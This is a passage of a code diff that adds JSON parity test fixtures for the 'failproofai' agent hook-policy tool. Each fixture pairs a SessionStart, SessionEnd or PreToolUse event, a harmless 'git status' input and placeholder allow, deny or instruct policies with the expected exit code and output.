"hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SessionEnd/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..bb8f8ab5 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SessionEnd/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..c68e5f49 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SessionEnd/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..819f7eea --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SessionEnd/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..d729412a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SessionEnd/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..cd4b555a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SessionEnd/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..8fdd8181 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SessionEnd/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..eecf161f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SessionEnd/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..abbb92d2 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SessionEnd/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..884fafb2 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SessionEnd/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..4d03c7ea --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SessionEnd/deny__tool-present__one-policy.json new file mode 100644 index 00000000..29879f77 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SessionEnd/deny__tool-present__two-policies.json new file mode 100644 index 00000000..cd1b494c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SessionEnd/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8a8022cb --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SessionEnd/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ed8bb5bf --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SessionEnd/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f00baace --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionEnd/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/SessionEnd/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..81e4f873 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionEnd/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SessionEnd\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/SessionStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6c4181eb --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/SessionStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..a6ddf6f9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/SessionStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/SessionStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6e6c36a2 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/SessionStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + 